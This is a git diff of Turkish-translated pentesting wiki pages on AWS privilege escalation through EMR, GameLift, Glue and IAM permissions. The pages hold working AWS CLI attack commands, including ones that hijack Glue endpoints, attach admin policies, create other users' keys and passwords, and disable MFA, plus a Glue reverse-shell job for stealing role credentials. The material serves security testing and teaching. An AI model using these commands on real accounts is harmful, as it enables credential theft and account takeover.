/tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -Not edin ki bir **EMR rolü** `--service-role` içinde belirtilmiştir ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz. - -**Olası Etki:** Belirtilen EC2 hizmet rolüne privesc. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -Bu izinlerle bir saldırgan **AWS konsoluna** gidebilir, bir Notebook oluşturabilir ve IAM Rolünü çalmak için erişebilir. - -> [!CAUTION] -> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim. - -**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -### `elasticmapreduce:OpenEditorInConsole` - -Sadece bu izinle bir saldırgan **Jupyter Notebook'a erişebilir ve ona bağlı IAM rolünü çalabilir.**\ -Notebook'un URL'si `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` - -> [!CAUTION] -> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim. - -**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..73f6602e0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,62 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +Daha fazla **info about EMR** için: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +Bu izinlere sahip bir saldırgan, **run a new EMR cluster attaching EC2 roles** yaparak kimlik bilgilerini çalmayı deneyebilir.\ +Bu işlemi gerçekleştirmek için hesabınızda import edilmiş bazı anahtarları **know some ssh priv key imported in the account** bilmeniz ya da bir tane import etmeniz ve master node'da **open port 22 in the master node** yapabilmeniz gerekir (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleriyle yapabilirsiniz). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Note edin: **EMR role**'ün `--service-role` içinde ve **ec2 role**'ün `InstanceProfile` içindeki `--ec2-attributes` içinde belirtildiğine dikkat edin. Ancak bu teknik yalnızca EC2 role kimlik bilgilerini çalmaya izin verir (çünkü ssh ile bağlanacaksınız), EMR IAM Role'ünü çalmaz. + +**Potential Impact:** Belirtilen EC2 service role'a privesc + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +Bu izinlerle bir saldırgan **AWS console**'a gidip bir Notebook oluşturabilir ve ona erişerek IAM Role'u çalabilir. + +> [!CAUTION] +> Testlerimde notebook instance'ına bir IAM role iliştirmiş olsam bile, AWS managed credentials'leri çalabildiğimi; IAM role ile ilişkili kimlik bilgilerini değil, fark ettim. + +**Potential Impact:** AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile için privesc + +### `elasticmapreduce:OpenEditorInConsole` + +Sadece bu izin ile bir saldırgan **Jupyter Notebook'a erişip ona bağlı IAM role'u çalabilir**.\ +Notebook'un URL'si `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +> [!CAUTION] +> Testlerimde notebook instance'ına bir IAM role iliştirmiş olsam bile, AWS managed credentials'leri çalabildiğimi; IAM role ile ilişkili kimlik bilgilerini değil, fark ettim. + +**Potential Impact:** AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile için privesc + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index f61812d0a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapı dosyası seti yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## Referanslar - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..bb8b2f8d9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +Bu izin ile bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun build dosyaları seti yüklerken kullanılmak üzere **taze bir credentials seti** alabilir. Bu, **S3 upload credentials** döndürecektir. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## Referanslar + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md index 93b4d2750..92dbe7efc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -1,14 +1,14 @@ # AWS - Glue Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## glue ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Bu izinlere sahip kullanıcılar, **yeni bir AWS Glue geliştirme uç noktası kurabilir**, **bu uç noktaya belirli izinlere sahip olan mevcut bir hizmet rolünü atayabilir**. +Bu izinlere sahip kullanıcılar, **yeni bir AWS Glue development endpoint kurabilir**, ve **Glue tarafından assumable olan mevcut bir service role'ü bu endpoint'e belirli izinlerle atayabilirler**. -Kurulumdan sonra, **saldırgan uç noktanın örneğine SSH ile bağlanabilir** ve atanan rolün IAM kimlik bilgilerini çalabilir: +Kurulumdan sonra, **attacker endpoint'in instance'ına SSH ile bağlanabilir**, ve atanmış role ait IAM kimlik bilgilerini çalabilir: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Gizlilik amacıyla, Glue sanal makinesi içindeki IAM kimlik bilgilerini kullanmanız önerilir. +Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir. -**Olası Etki:** Belirtilen glue hizmet rolüne privesc. +**Olası Etki:** Belirtilen glue servis rolüne Privesc. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Bu izne sahip kullanıcılar, **mevcut bir Glue geliştirme** uç noktasının SSH anahtarını **değiştirebilir**, bu da ona SSH erişimi sağlar. Bu, saldırganın uç noktanın bağlı rolünün ayrıcalıklarıyla komutlar çalıştırmasına olanak tanır: +Bu izne sahip kullanıcılar, mevcut bir Glue development endpoint'in SSH anahtarını **değiştirebilir**, bu da ona **SSH erişimi sağlar**. Bu, saldırganın endpoint'e bağlı rolün ayrıcalıklarıyla komut çalıştırmasına olanak tanır: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Potansiyel Etki:** Kullanılan glue hizmet rolüne privesc. +**Olası Etki:** Kullanılan glue service role üzerinde Privesc. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini oluşturabilir veya güncelleyebilir**, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodu çalıştırmayı içerir; bu, Glue işine ekli rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir. Bu, o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir: +Kullanıcılar, **`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve ayrıca **`glue:StartJobRun` veya `glue:CreateTrigger`** izinlerine sahip olduklarında, herhangi bir **Glue service account** iliştirerek bir AWS Glue job oluşturabilir veya güncelleyebilir ve job'ın çalıştırılmasını başlatabilir. Job'ın yetenekleri rastgele Python kodu çalıştırmayı içerir; bu, bir reverse shell kurmak için kullanılabilir. Bu reverse shell daha sonra Glue job'a iliştirilmiş rolün **IAM credential**s'ını exfiltrate etmek için kullanılabilir; bu da söz konusu rolün izinlerine bağlı olarak yetkisiz erişim veya işlemlere yol açabilir: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Olası Etki:** Belirtilen glue hizmet rolüne privesc. +**Olası Etki:** Belirtilen glue servis rolüne Privesc. ### `glue:UpdateJob` -Sadece güncelleme izni ile bir saldırgan, zaten bağlı olan rolün IAM Kimlik Bilgilerini çalabilir. +Sadece update izniyle bir saldırgan, halihazırda bağlı rolün IAM Credentials'lerini çalabilir. -**Olası Etki:** Bağlı olan glue hizmet rolüne privesc. +**Olası Etki:** Bağlı glue servis rolüne Privesc. ## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md deleted file mode 100644 index cb72adb87..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - IAM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -IAM hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### **`iam:CreatePolicyVersion`** - -Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` izni gereksinimini atlar. Bu, özel izinlerin tanımlanmasını sağlar. - -**Exploit Command:** -```bash -aws iam create-policy-version --policy-arn \ ---policy-document file:///path/to/administrator/policy.json --set-as-default -``` -**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek doğrudan ayrıcalıkları yükseltir. - -### **`iam:SetDefaultPolicyVersion`** - -Bir IAM politikasının varsayılan sürümünü başka bir mevcut sürüme değiştirmeye izin verir, eğer yeni sürüm daha fazla izin içeriyorsa ayrıcalıkları yükseltme potansiyeli taşır. - -**Bash Komutu:** -```bash -aws iam set-default-policy-version --policy-arn --version-id v2 -``` -**Etkisi:** Daha fazla izin vererek dolaylı ayrıcalık yükseltme. - -### **`iam:CreateAccessKey`** - -Başka bir kullanıcı için erişim anahtarı kimliği ve gizli erişim anahtarı oluşturulmasını sağlar, bu da potansiyel ayrıcalık yükseltmeye yol açar. - -**Sömürü:** -```bash -aws iam create-access-key --user-name -``` -**Etkisi:** Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan yetki yükseltme. - -### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** - -AWS konsol girişi için şifre ayarlamayı da içeren bir giriş profili oluşturma veya güncelleme izni verir, bu da doğrudan yetki yükseltmeye yol açar. - -**Oluşturma için Sömürü:** -```bash -aws iam create-login-profile --user-name target_user --no-password-reset-required \ ---password '' -``` -**Güncelleme için Sömürü:** -```bash -aws iam update-login-profile --user-name target_user --no-password-reset-required \ ---password '' -``` -**Etkisi:** "herhangi bir" kullanıcı olarak oturum açarak doğrudan yetki yükseltme. - -### **`iam:UpdateAccessKey`** - -Devre dışı bırakılmış bir erişim anahtarını etkinleştirmeye izin verir, bu da saldırgan devre dışı bırakılmış anahtara sahipse yetkisiz erişime yol açabilir. - -**Sömürü:** -```bash -aws iam update-access-key --access-key-id --status Active --user-name -``` -**Etkisi:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan ayrıcalık yükseltme. - -### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** - -Belirli AWS hizmetleri için kimlik bilgilerini oluşturma veya sıfırlama yetkisi verir (örneğin, CodeCommit, Amazon Keyspaces), ilişkili kullanıcının izinlerini devralır. - -**Oluşturma için Sömürü:** -```bash -aws iam create-service-specific-credential --user-name --service-name -``` -**Sıfırlama için İstismar:** -```bash -aws iam reset-service-specific-credential --service-specific-credential-id -``` -**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan ayrıcalık yükseltme. - -### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** - -Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak ayrıcalıkları doğrudan yükseltir. - -**Kullanıcı için Sömürü:** -```bash -aws iam attach-user-policy --user-name --policy-arn "" -``` -**Grup için Sömürü:** -```bash -aws iam attach-group-policy --group-name --policy-arn "" -``` -**Etkisi:** Politikanın verdiği her şeye doğrudan yetki yükseltme. - -### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** - -Rollere, kullanıcılara veya gruplara politikalar eklemeye veya koymaya izin verir, ek izinler vererek doğrudan yetki yükseltmeyi sağlar. - -**Rol için Sömürü:** -```bash -aws iam attach-role-policy --role-name --policy-arn "" -``` -**Satır İçi Politika için İstismar:** -```bash -aws iam put-user-policy --user-name --policy-name "" \ ---policy-document "file:///path/to/policy.json" - -aws iam put-group-policy --group-name --policy-name "" \ ---policy-document file:///path/to/policy.json - -aws iam put-role-policy --role-name --policy-name "" \ ---policy-document file:///path/to/policy.json -``` -Aşağıdaki gibi bir politika kullanabilirsiniz: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": ["*"], -"Resource": ["*"] -} -] -} -``` -**Etkisi:** Politikalara izinler ekleyerek doğrudan yetki yükseltme. - -### **`iam:AddUserToGroup`** - -Kendini bir IAM grubuna eklemeyi sağlar, grubun izinlerini miras alarak yetkileri yükseltir. - -**Sömürü:** -```bash -aws iam add-user-to-group --group-name --user-name -``` -**Etkisi:** Grubun izin seviyesine doğrudan ayrıcalık yükseltme. - -### **`iam:UpdateAssumeRolePolicy`** - -Bir rolün varsayılan rol politikası belgesini değiştirmeye izin verir, böylece rolün ve onunla ilişkili izinlerin üstlenilmesini sağlar. - -**Sömürü:** -```bash -aws iam update-assume-role-policy --role-name \ ---policy-document file:///path/to/assume/role/policy.json -``` -Politika aşağıdaki gibi görünüyorsa, bu kullanıcıya rolü üstlenme izni verir: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sts:AssumeRole", -"Principal": { -"AWS": "$USER_ARN" -} -} -] -} -``` -**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan ayrıcalık yükseltme. - -### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** - -CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarının yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir, bu da potansiyel dolaylı ayrıcalık yükseltmesine yol açar. - -**SSH Anahtarı Yükleme için Sömürü:** -```bash -aws iam upload-ssh-public-key --user-name --ssh-public-key-body -``` -**MFA Devre Dışı Bırakma Açığı:** -```bash -aws iam deactivate-mfa-device --user-name --serial-number -``` -**Etkisi:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltme. - -### **`iam:ResyncMFADevice`** - -MFA cihazının yeniden senkronizasyonuna izin verir, bu da MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir. - -**Bash Komutu:** -```bash -aws iam resync-mfa-device --user-name --serial-number \ ---authentication-code1 --authentication-code2 -``` -**Etkisi:** MFA cihazlarını ekleyerek veya manipüle ederek dolaylı ayrıcalık yükseltme. - -### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) - -Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** kullanarak **güvenen** herhangi bir **rol ile giriş yapabilirsiniz**. - -Bunu yapmanın **meşru kullanıcıların giriş yapamayacağını** unutmayın. Ancak, XML'i alabilir, kendi XML'inizi koyabilir, giriş yapabilir ve önceki ayarları yapılandırabilirsiniz. -```bash -# List SAMLs -aws iam list-saml-providers - -# Optional: Get SAML provider XML -aws iam get-saml-provider --saml-provider-arn - -# Update SAML provider -aws iam update-saml-provider --saml-metadata-document --saml-provider-arn - -## Login impersonating roles that trust the SAML provider - -# Optional: Set the previous XML back -aws iam update-saml-provider --saml-metadata-document --saml-provider-arn -``` -> [!NOTE] -> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir araç - -### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) - -(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir. -```bash -# List providers -aws iam list-open-id-connect-providers -# Optional: Get Thumbprints used to not delete them -aws iam get-open-id-connect-provider --open-id-connect-provider-arn -# Update Thumbprints (The thumbprint is always a 40-character string) -aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 -``` -## Referanslar - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md new file mode 100644 index 000000000..16eef6c99 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -0,0 +1,235 @@ +# AWS - IAM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +IAM hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### **`iam:CreatePolicyVersion`** + +Yeni bir IAM policy versiyonu oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` iznine olan ihtiyacı atlatır. Bu, özel izinler tanımlamayı mümkün kılar. + +**Exploit Command:** +```bash +aws iam create-policy-version --policy-arn \ +--policy-document file:///path/to/administrator/policy.json --set-as-default +``` +**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir. + +### **`iam:SetDefaultPolicyVersion`** + +Varsayılan IAM policy sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izne sahipse ayrıcalıkları yükseltebilir. + +**Bash Command:** +```bash +aws iam set-default-policy-version --policy-arn --version-id v2 +``` +**Impact:** Daha fazla izin verilmesine olanak sağlayarak dolaylı ayrıcalık yükseltmesine yol açar. + +### **`iam:CreateAccessKey`** + +Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu da potansiyel ayrıcalık yükseltmesine yol açabilir. + +**Exploit:** +```bash +aws iam create-access-key --user-name +``` +**Etkisi:** Doğrudan ayrıcalık yükseltmesi; başka bir kullanıcının genişletilmiş izinlerini üstlenmeye olanak tanır. + +### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** + +Giriş profili oluşturma veya güncelleme izni verir; AWS console giriş parolası belirlemeyi de içerir ve bu doğrudan ayrıcalık yükseltmeye yol açar. + +**Exploit for Creation:** +```bash +aws iam create-login-profile --user-name target_user --no-password-reset-required \ +--password '' +``` +**Güncelleme için Exploit:** +```bash +aws iam update-login-profile --user-name target_user --no-password-reset-required \ +--password '' +``` +**Etkisi:** Doğrudan ayrıcalık yükseltme — "any" kullanıcısı olarak oturum açılarak. + +### **`iam:UpdateAccessKey`** + +Devre dışı bırakılmış bir access key'in yeniden etkinleştirilmesine izin verir; eğer saldırgan devre dışı bırakılmış key'e sahipse yetkisiz erişime yol açabilir. + +**Exploit:** +```bash +aws iam update-access-key --access-key-id --status Active --user-name +``` +**Etkisi:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan privilege escalation. + +### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** + +Belirli AWS hizmetleri (ör. CodeCommit, Amazon Keyspaces) için kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar; bu kimlik bilgileri ilişkili kullanıcının izinlerini devralır. + +**Exploit for Creation:** +```bash +aws iam create-service-specific-credential --user-name --service-name +``` +**Reset için Exploit:** +```bash +aws iam reset-service-specific-credential --service-specific-credential-id +``` +**Etkisi:** Kullanıcının servis izinleri kapsamında doğrudan ayrıcalık yükseltme. + +### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** + +Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy'nin izinlerini devralarak doğrudan ayrıcalıkları yükseltir. + +**Kullanıcı için Exploit:** +```bash +aws iam attach-user-policy --user-name --policy-arn "" +``` +**Grup için Exploit:** +```bash +aws iam attach-group-policy --group-name --policy-arn "" +``` +**Impact:** Politikanın verdiği her şeye doğrudan privilege escalation sağlar. + +### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** + +Rollere, kullanıcılara veya gruplara policy bağlamaya veya eklemeye izin verir; ek izinler vererek doğrudan privilege escalation sağlar. + +**Exploit for Role:** +```bash +aws iam attach-role-policy --role-name --policy-arn "" +``` +**Inline Policies için Exploit:** +```bash +aws iam put-user-policy --user-name --policy-name "" \ +--policy-document "file:///path/to/policy.json" + +aws iam put-group-policy --group-name --policy-name "" \ +--policy-document file:///path/to/policy.json + +aws iam put-role-policy --role-name --policy-name "" \ +--policy-document file:///path/to/policy.json +``` +Aşağıdaki gibi bir politika kullanabilirsiniz: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] +} +``` +**Etkisi:** Politikalar aracılığıyla izinler ekleyerek doğrudan privilege escalation. + +### **`iam:AddUserToGroup`** + +Kendini bir IAM group'una eklemeye olanak tanır; group's permissions'ı devralarak escalating privileges sağlar. + +**Exploit:** +```bash +aws iam add-user-to-group --group-name --user-name +``` +**Etkisi:** Grubun izinleri seviyesine doğrudan ayrıcalık yükseltme. + +### **`iam:UpdateAssumeRolePolicy`** + +Bir role ait assume role policy document'ını değiştirmeye izin verir; bu, role ve ilişkili izinlerin üstlenilmesine olanak tanır. + +**Exploit:** +```bash +aws iam update-assume-role-policy --role-name \ +--policy-document file:///path/to/assume/role/policy.json +``` +Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] +} +``` +**Impact:** Doğrudan privilege escalation — herhangi bir rolün izinlerini üstlenerek. + +### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** + +SSH genel anahtarını CodeCommit'e kimlik doğrulaması için yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir; bu da potansiyel dolaylı privilege escalation ile sonuçlanabilir. + +**Exploit for SSH Key Upload:** +```bash +aws iam upload-ssh-public-key --user-name --ssh-public-key-body +``` +**MFA devre dışı bırakma için Exploit:** +```bash +aws iam deactivate-mfa-device --user-name --serial-number +``` +**Etkisi:** Dolaylı ayrıcalık yükseltmesi; CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak. + +### **`iam:ResyncMFADevice`** + +Bir MFA cihazının yeniden senkronize edilmesine olanak tanır; MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmesine yol açabilir. + +**Bash Command:** +```bash +aws iam resync-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Etkisi:** MFA devices ekleyerek veya manipüle ederek dolaylı ayrıcalık yükseltmesi. + +### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) + +Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı suistimal ederek ona güvenen herhangi bir **role** ile **login** olabilirsiniz. + +Unutmayın ki, bunu yaptığınızda **meşru kullanıcılar login yapamayacaktır**. Ancak XML'i elde edebilir, kendi XML'inizi koyup login olup önceki yapılandırmayı geri getirebilirsiniz. +```bash +# List SAMLs +aws iam list-saml-providers + +# Optional: Get SAML provider XML +aws iam get-saml-provider --saml-provider-arn + +# Update SAML provider +aws iam update-saml-provider --saml-metadata-document --saml-provider-arn + +## Login impersonating roles that trust the SAML provider + +# Optional: Set the previous XML back +aws iam update-saml-provider --saml-metadata-document --saml-provider-arn +``` +> [!NOTE] +> TODO: Belirtilen bir role giriş yapacak SAML metadata'sını üretebilen bir araç + +### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) + +(Bundan emin değilim) Bir saldırganın bu **izinlere** sahip olması durumunda sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir. +```bash +# List providers +aws iam list-open-id-connect-providers +# Optional: Get Thumbprints used to not delete them +aws iam get-open-id-connect-provider --open-id-connect-provider-arn +# Update Thumbprints (The thumbprint is always a 40-character string) +aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 +``` +### `iam:PutUserPermissionsBoundary` + +Bu izin, bir saldırganın bir kullanıcının izin sınırını (permissions boundary) güncellemesine olanak tanır; bu da saldırganın mevcut izinleriyle normalde kısıtlı olan eylemleri gerçekleştirmesine izin vererek ayrıcalıklarını yükseltmesine yol açabilir. + +## Referanslar 